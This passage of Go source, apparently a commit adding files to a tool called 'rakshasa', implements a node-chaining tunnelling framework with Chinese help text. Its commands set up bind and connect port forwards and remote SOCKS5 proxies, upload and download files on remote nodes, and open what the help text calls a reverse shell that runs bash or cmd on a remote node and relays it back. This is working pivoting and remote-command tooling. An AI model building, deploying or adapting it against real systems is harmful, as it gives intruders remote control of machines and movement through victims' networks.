fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
bindshell.AddCmd(&ishell.Cmd{
Name: "new-bind",
Help: "新建一个本地bind,使用方法 new-bind ip:port,remote_ip:remote_port 目标服务器 如 new-bind 192.168.1.180:8808,0.0.0.0:8808 192.168.1.2:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
if err := StartRawBind(c.Args[0], strings.Split(c.Args[1], ",")); err != nil {
c.Println("启动bind失败", err)
}
},
})
bindshell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个bind连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "bind" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "bind",
Help: "进入bind功能",
Func: func(c *ishell.Context) {
bindshell.Run()
},
})
connectshell := ishell.New()
connectshell.SetPrompt("rakshasa\\connect>")
connectshell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "connect" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
connectshell.AddCmd(&ishell.Cmd{
Name: "new-connect",
Help: "新建一个本地connect,使用方法 new-connect ip:port,remote_ip:remote_port 目标服务器 如 new-connect 0.0.0.0:88,192.168.1.180:8808 192.168.1.2:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
if err != nil {
c.Println("connect连接", c.Args[1], "失败", err)
return
}
if err = StartRawConnect(c.Args[0], n); err != nil {
c.Println(err)
return
}
c.Println("connect连接", c.Args[1], "成功")
},
})
connectshell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个connect连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "connect" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "connect",
Help: "进入connect功能",
Func: func(c *ishell.Context) {
connectshell.Run()
},
})
}
+64
View File
@@ -0,0 +1,64 @@
package server
import (
"bytes"
"net"
"rakshasa/common"
"sync/atomic"
)
func (l *serverListen) Lisen() {
for {
c, err := l.listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
conn := &serverConnect{}
conn.conn = c
conn.address = c.RemoteAddr().String()
conn.node = l.node
conn.write = make(chan *bytes.Buffer, 64)
if l.isSocks5 {
conn.id = l.id
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
go conn.handTcpReceive()
return
}
conn.id = l.node.storeConn(conn)
b := make([]byte, 4)
b[0] = byte(conn.id)
b[1] = byte(conn.id >> 8)
b[2] = byte(conn.id >> 16)
b[3] = byte(conn.id >> 24)
conn.node.Write(common.CMD_CONNECT_BYID, l.id, b)
l.connMap.Store(conn.id, conn)
go conn.handTcpReceive()
}
}
func (l *serverListen) Close(reason string) {
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
if l.listen != nil {
l.listen.Close()
}
l.connMap.Range(func(key, value interface{}) bool {
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
}
l.connMap.Delete(key)
return true
})
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil)
}
}
}
+128
View File
@@ -0,0 +1,128 @@
package server
import (
"errors"
"fmt"
"rakshasa/common"
"strconv"
"strings"
"time"
"github.com/luyu6056/ishell"
)
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
l := &clientListen{
id: common.GetID(),
localAddr: "",
remoteAddr: cfg.Addr(),
server: n,
typ: "socks5",
result: make(chan interface{}),
}
l.openOption = common.CMD_REMOTE_SOCKS5
l.openMsg = []byte(cfg.String())
n.Write(l.openOption, l.id, l.openMsg)
currentNode.listenMap.Store(l.id, l)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
return errors.New("time out")
}
return nil
}
func init() {
remoteSocks5shell := cliInit()
remoteSocks5shell.SetPrompt("rakshasa\\remotesocks5>")
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "socks5" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "new-remotesocks5",
Help: "新建一个remotesocks5连接到本节点,使用方法 new-remotesocks5 配置字串符 目标服务器 如 new-remotesocks5 admin:[email protected]:1080 127.0.0.1:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
if err != nil {
c.Println("无法连接 ", c.Args[1], err)
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
if err = StartRemoteSocks5(cfg, n); err != nil {
c.Println("连接", c.Args[1], "失败", err)
return
}
c.Println("节点", c.Args[1], "配置信息,", c.Args[0], ",启动socks5 到 本节点 成功")
},
})
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个remotesocks5连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "remotesocks5",
Help: "进入remotesocks5功能",
Func: func(c *ishell.Context) {
remoteSocks5shell.Run()
},
})
}
+837
View File
@@ -0,0 +1,837 @@
package server
/*
*高级shell功能
*node节点管理、remoteShell远程shellconfig配置管理
*/
import (
"bytes"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/abiosoft/readline"
"github.com/creack/pty"
"github.com/dlclark/regexp2"
"github.com/luyu6056/ishell"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
var (
shellMapLock sync.Mutex
)
type StartCmdParam struct {
Param string
Size *pty.Winsize
}
type remoteCmd struct {
cmdStatus int32
cmd *exec.Cmd
id uint32
stdin io.WriteCloser
inChan chan []byte
translate func(in []byte) ([]byte, error)
ping, pong int64
}
func init() {
configShell := cliInit()
configShell.SetPrompt("rakshasa\\config>")
configShell.AddCmd(&ishell.Cmd{
Name: "info",
Help: "打印当前配置",
Func: func(c *ishell.Context) {
c.Println("当前节点", currentNode.uuid)
c.Println("上级节点地址", currentConfig.DstNode)
c.Println("通讯密码", currentConfig.Password)
c.Println("监听端口", currentConfig.Port)
c.Println("监听IP", currentConfig.ListenIp)
c.Println("禁止额外连接", currentConfig.Limit)
c.Println("配置文件名", currentConfig.FileName)
if currentConfig.FileSave {
c.Println("当前配置:已写入文件")
} else {
c.Println("当前配置:未写入文件")
}
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "save",
Help: "保存文件",
Func: func(c *ishell.Context) {
if err := ConfigSave(); err == nil {
c.Println("写入成功")
} else {
c.Println("保存失败", err.Error())
}
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "d",
Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
return
}
dstNode, err := common.ResolveTCPAddr(c.Args[0])
if err != nil {
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
return
}
currentConfig.DstNode = dstNode
currentConfig.FileSave = false
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "password",
Help: "修改通讯密码,立即生效",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 password \"123456\"")
return
}
c.Println(c.Args)
currentConfig.Password = c.Args[0]
currentConfig.FileSave = false
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16]))
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "port",
Help: "修改监听端口,立即生效",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 port 8883")
return
}
port, _ := strconv.Atoi(c.Args[0])
if port <= 0 || port > 65535 {
c.Println("参数错误,端口范围是1-65535")
return
}
c.Println("正在关闭server监听")
if currentNode.listen != nil {
currentNode.listen.Close()
currentNode.listen = nil
}
currentConfig.Port = port
currentNode.port = port
currentConfig.FileSave = false
currentNode.broadcastNode()
StartServer(port)
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "ip",
Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.ListenIp = strings.Split(c.Args[0], ",")
currentNode.mainIp = currentConfig.ListenIp
currentConfig.FileSave = false
currentNode.broadcastNode()
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "limit",
Help: "修改本节点Limit设置,使用方法 limit true",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.Limit = c.Args[0] == "true"
currentConfig.FileSave = false
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "f",
Help: "修改配置文件名,使用方法 f config.yaml",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.FileName = c.Args[0]
currentConfig.FileSave = false
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "config",
Help: "配置管理",
Func: func(c *ishell.Context) {
configShell.Run()
},
})
remoteShell := cliInit()
remoteShell.SetPrompt("rakshasa\\remoteshell>")
fileShell := ishell.New()
remoteShell.AddCmd(&ishell.Cmd{
Name: "file",
Help: "连到节点进行文件管理,参数为id或者uuid",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
workN, _ := getNode(c.Args[0])
if workN == nil {
c.Println("无法连接节点", c.Args[0])
return
}
if workN != nil {
fileShell.Set("node", workN)
result := make(chan interface{}, 1)
id := workN.storeQuery(result)
workN.Write(common.CMD_PWD, id, nil)
select {
case pwd := <-result:
workN.deleteQuery(id)
pwd = strings.ReplaceAll(pwd.(string), "\\", "/")
fileShell.Set("pwd", pwd)
fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">")
fileShell.Run()
case <-time.After(common.CMD_TIMEOUT):
workN.deleteQuery(id)
c.Println("连接", c.Args[0], "超时")
}
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "dir",
Help: "打印当前目录文件",
Func: func(c *ishell.Context) {
pwd := fileShell.Get("pwd")
n := c.Get("node").(*node)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_DIR, id, []byte(pwd.(string)))
select {
case res := <-resChan:
n.deleteQuery(id)
c.Println(res)
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("dir time out")
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "cd",
Help: "切换工作目录",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
dir := c.Args[0]
pwd := fileShell.Get("pwd").(string)
n := c.Get("node").(*node)
if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" {
pwd = dir
} else {
pwd += "/" + dir
pwd = strings.TrimRight(realpath(pwd), "/")
}
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_CD, id, []byte(pwd))
select {
case res := <-resChan:
n.deleteQuery(id)
if err, ok := res.(error); ok {
c.Println(err.Error())
} else {
pwd = res.(string)
fileShell.Set("pwd", pwd)
c.SetPrompt(n.uuid + " " + pwd + ">")
}
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("dir time out")
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "upload",
Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 && len(c.Args) != 2 {
c.Println("参数错误")
return
}
s, err := os.Stat(c.Args[0])
if err != nil {
c.Println("打开本地文件", c.Args[0], "错误 ", err)
return
}
f, err := os.Open(c.Args[0])
if err != nil {
c.Println("打开本地文件", c.Args[0], "错误 ", err)
return
}
defer f.Close()
pwd := fileShell.Get("pwd").(string) + "/"
n := c.Get("node").(*node)
if len(c.Args) == 2 {
pwd = c.Args[1]
}
pwd = strings.ReplaceAll(pwd, "\\", "/")
c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/")
i := strings.LastIndex(c.Args[0], "/")
if i == -1 {
i = 0
}
if pwd[len(pwd)-1] == '/' {
pwd += c.Args[0][i:]
}
i = strings.LastIndex(pwd, "/")
if i == -1 {
i = 0
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
pwd = dir + filename
resChan := make(chan interface{}, 9999) //避免收消息阻塞
filereadChan := make(chan []byte, 10)
upload := func() {
for i := 0; i < 10; i++ {
buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9)
n, err := f.Read(buf)
if err != nil {
if err == io.EOF {
return
}
resChan <- err
c.Println("读取文件", c.Args[0], "错误", err)
return
}
filereadChan <- buf[:n]
}
}
offset := 0
be := len(pwd) + 1
id := n.storeQuery(resChan)
defer n.deleteQuery(id)
b := []byte(pwd)
b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0)
c.ProgressBar().Start()
go upload()
var resnum int
for {
select {
case data := <-filereadChan:
b[be] = byte(offset)
b[be+1] = byte(offset >> 8)
b[be+2] = byte(offset >> 16)
b[be+3] = byte(offset >> 24)
b[be+4] = byte(offset >> 32)
b[be+5] = byte(offset >> 40)
b[be+6] = byte(offset >> 48)
b[be+7] = byte(offset >> 56)
offset += len(data)
n.Write(common.CMD_UPLOAD, id, append(b, data...))
case res := <-resChan:
switch v := res.(type) {
case error:
c.ProgressBar().Stop()
c.Println("上传失败", res)
return
case int64:
resnum++
i := v * 100 / s.Size()
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
c.ProgressBar().Progress(int(i))
if v == s.Size() {
c.ProgressBar().Stop()
c.Println(c.Args[0], "上传成功")
return
}
if resnum >= 5 {
go upload()
resnum -= 10
}
default:
c.Println("协议错误")
return
}
case <-time.After(common.CMD_TIMEOUT):
c.ProgressBar().Stop()
c.Println("upload time out")
return
}
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "download",
Help: "下载文件 download 远程文件 本地目录(为空本地执行目录)",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 && len(c.Args) != 2 {
c.Println("参数错误")
return
}
pwd := fileShell.Get("pwd").(string)
n := c.Get("node").(*node)
file := c.Args[0]
file = strings.ReplaceAll(file, "\\", "/")
if strings.Contains(file, ":/") || file[0] == '/' {
pwd = file
} else {
pwd += "/" + file
}
i := strings.LastIndex(pwd, "/")
if i == -1 {
i = 0
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
mydir, err := os.Getwd()
local := "./" + filename
if err == nil {
local = mydir + "/" + filename
}
if len(c.Args) == 2 {
s, err := os.Stat(c.Args[1])
if err == nil {
if s.IsDir() {
local = strings.TrimRight(c.Args[1], "/") + "/" + filename
} else {
local = c.Args[1]
}
} else {
local = c.Args[1]
}
}
pwd = dir + filename
result := make(chan interface{}, 999)
id := n.storeQuery(result)
defer n.deleteQuery(id)
b := []byte(pwd)
b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...)
total := int64(-1)
be := len(pwd) + 1
b[be] = byte(total)
b[be+1] = byte(total >> 8)
b[be+2] = byte(total >> 16)
b[be+3] = byte(total >> 24)
b[be+4] = byte(total >> 32)
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
c.ProgressBar().Start()
size := int64(0)
resnum := 0
total = 0
var f *os.File
for {
select {
case res := <-result:
switch v := res.(type) {
case error:
c.ProgressBar().Stop()
c.Println("下载失败", res)
return
case int64:
var err error
size = v
f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
c.Println("本地文件 ", local, "写入失败", err.Error())
return
}
defer f.Close()
case []byte:
if f == nil {
c.Println("本地文件 ", local, "不可写入")
return
}
resnum++
num, err := f.Write(v)
if err != nil {
c.Println("本地文件 ", local, "写入失败", err.Error())
return
}
if num != len(v) {
c.Println("本地文件 ", local, "写入失败,写入量不符")
return
}
total += int64(num)
i := total * 100 / size
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
c.ProgressBar().Progress(int(i))
if total == size {
c.ProgressBar().Stop()
c.Println(c.Args[0], "下载成功 文件保存到", local)
return
}
if resnum == 10 {
resnum -= 10
b[be] = byte(total)
b[be+1] = byte(total >> 8)
b[be+2] = byte(total >> 16)
b[be+3] = byte(total >> 24)
b[be+4] = byte(total >> 32)
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
}
default:
c.Println("协议错误")
return
}
case <-time.After(common.CMD_TIMEOUT):
c.ProgressBar().Stop()
c.Println("upload time out")
return
}
}
},
})
remoteShell.AddCmd(&ishell.Cmd{
Name: "new",
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 connect ip:端口")
return
}
for _, addr := range strings.Split(c.Args[0], ",") {
_, err := connectNew(addr)
if err != nil {
c.Println("连接", addr, "失败", err)
return
}
}
},
})
remoteShell.AddCmd(&ishell.Cmd{
Name: "shell",
Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash 如 shell 1 powershell 。 shell 1 zsh",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 shell 1 powershell")
return
}
param := ""
if len(c.Args) == 2 {
param = c.Args[1]
}
n, _ := getNode(c.Args[0])
if n == nil {
c.Println("无法连接节点", c.Args[0])
return
}
res := make(chan interface{}, 999)
id := n.storeQuery(res)
defer n.deleteQuery(id)
p := StartCmdParam{
Param: param,
Size: common.GetSize(),
}
b, _ := json.Marshal(p)
n.Write(common.CMD_SHELL, id, b)
s := &remoteCmd{
cmd: nil,
stdin: nil,
inChan: make(chan []byte, 999),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
select {
case i := <-res:
switch v := i.(type) {
case error:
c.Println("启动shell失败,错误", v.Error())
case []byte:
data := v
s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24
switch data[4] {
case 0: //windows
if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936
//gbk转utf8
s.translate = func(in []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
}
case 1: //linux
if runtime.GOOS == "windows" {
if !common.EnableTermVt {
s.translate = func(in []byte) ([]byte, error) {
if in[0] == 27 {
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
res, _ := r.Replace(string(in), "", 0, -1)
return []byte(res), nil
}
return in, nil
}
}
}
}
atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1)
}
case <-time.After(common.CMD_TIMEOUT):
c.Println("启动shell失败,超时")
return
}
n.shellMap.Store(s.id, s)
r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true})
defer func() {
n.shellMap.Delete(s.id)
atomic.StoreInt32(&s.cmdStatus, -1)
c.Println("请按回车键退出")
r.Close()
}()
go func() {
for {
switch s.cmdStatus {
case 1:
input, err := r.ReadlineEx()
if err != nil {
if err != readline.ErrInterrupt {
res <- err
return
}
if s.cmdStatus == 1 {
n.Write(common.CMD_SHELL_DATA, s.id, []byte{03})
}
}
if s.cmdStatus == 1 {
n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n"))
}
case 0:
time.Sleep(time.Millisecond * 100)
case -1:
return
}
}
}()
tick := time.NewTicker(common.CMD_TIMEOUT / 2)
for {
select {
case b := <-s.inChan:
s.pong = time.Now().Unix()
if len(b) > 0 {
b, err := s.translate(b)
if err != nil {
c.Println("shell 运行失败", err)
return
}
fmt.Print(string(b))
}
case v := <-res:
if err, ok := v.(error); ok {
if err.Error() != "退出shell" {
c.Println("运行shell", param, "失败", err)
}
} else {
c.Println("无法处理消息", v)
}
return
case <-tick.C:
s.ping = time.Now().Unix()
if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) {
c.Println("shell time out")
return
}
n.Write(common.CMD_SHELL_DATA, s.id, nil)
}
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "remoteshell",
Help: "远程shell",
Func: func(c *ishell.Context) {
remoteShell.Run()
},
})
}
// 打印节点
func printNodes(c *ishell.Context) {
l := clientLock.RLock()
defer l.RUnlock()
var list []*node
for _, n := range nodeMap {
list = append(list, n)
}
orderNode(list)
c.Println("ID UUID HostName GOOS IP listenIP")
c.Println("-----------------------------------------------------------------------------------------------------------------------------")
for k, n := range list {
n.id = k + 1
hostname := bytes.Repeat([]byte(" "), 22)
copy(hostname, n.hostName)
ip := bytes.Repeat([]byte(" "), 23)
if n.uuid == currentNode.uuid {
copy(ip, "(localhost)"+":"+strconv.Itoa(n.port))
} else {
copy(ip, n.addr+":"+strconv.Itoa(n.port))
}
var s []string
for _, ip := range n.mainIp {
if ip != "" {
s = append(s, ip+":"+strconv.Itoa(n.port))
}
}
listenip := strings.Join(s, ",")
goos := bytes.Repeat([]byte(" "), 11)
copy(goos, n.goos)
c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip)
}
}
func realpath(path string) string {
path_s := strings.Split(path, "/")
realpath := []string{}
if len(path_s) == 0 {
return "error"
}
for _, value := range path_s {
if value == ".." {
k := len(realpath)
kk := k - 1
realpath = append(realpath[:kk], realpath[k:]...)
} else {
realpath = append(realpath, value)
}
}
return strings.Join(realpath, "/")
}
func printConn() {
connMap.Range(func(key, value interface{}) bool {
fmt.Println(key)
return true
})
}
func getNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id && n.uuid != currentNode.uuid {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
func getNodeWithCurrentNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
+106
View File
@@ -0,0 +1,106 @@
//go:build linux || darwin
// +build linux darwin
package server
import (
"errors"
"fmt"
"io"
"os/exec"
"rakshasa/common"
"time"
"github.com/creack/pty"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "/bin/bash"
}
shellMapLock.Lock()
defer func() {
if err := recover(); err != nil && common.Debug {
fmt.Printf("错误 %+v\n", err)
}
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
cmd.cmd = exec.Command(param.Param)
f, err := pty.StartWithSize(cmd.cmd, param.Size)
if err != nil {
return err
}
cmd.stdin = f
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
f.Close()
cmd.stdin.Close()
}()
errChan := make(chan error, 999)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errChan <- err
}
}
case err = <-errChan:
if common.Debug {
fmt.Println(cmd.id, "错误关闭", err)
}
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := f.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
cmd.cmd.Wait()
}(cmd)
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
return nil
}
+139
View File
@@ -0,0 +1,139 @@
//go:build windows
// +build windows
package server
import (
"errors"
"fmt"
"io"
"rakshasa/common"
"time"
"os/exec"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "cmd"
}
shellMapLock.Lock()
defer func() {
if err := recover(); err != nil && common.Debug {
fmt.Printf("错误 %+v\n", err)
}
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
c := exec.Command("chcp")
res, err := c.Output()
if err != nil {
return err
}
cmd.cmd = exec.Command(param.Param)
stdout, err := cmd.cmd.StdoutPipe()
if err != nil {
return err
}
cmd.stdin, err = cmd.cmd.StdinPipe()
if err != nil {
return err
}
stderr, err := cmd.cmd.StderrPipe()
if err != nil {
return err
}
err = cmd.cmd.Start()
if err != nil {
return err
}
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
stdout.Close()
cmd.stdin.Close()
cmd.cmd.Process.Kill()
}()
var errchan = make(chan error, 10)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errchan <- err
}
}
case err = <-errchan:
if common.Debug {
fmt.Println(cmd.id, "错误关闭", err)
}
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := stdout.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
go func() {
buf := make([]byte, 1024)
for {
num, err2 := stderr.Read(buf)
if err2 != nil || io.EOF == err2 {
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
//output, _ := libraries.GbkToUtf8(buf[:n])
}
}()
cmd.cmd.Wait()
}(cmd)
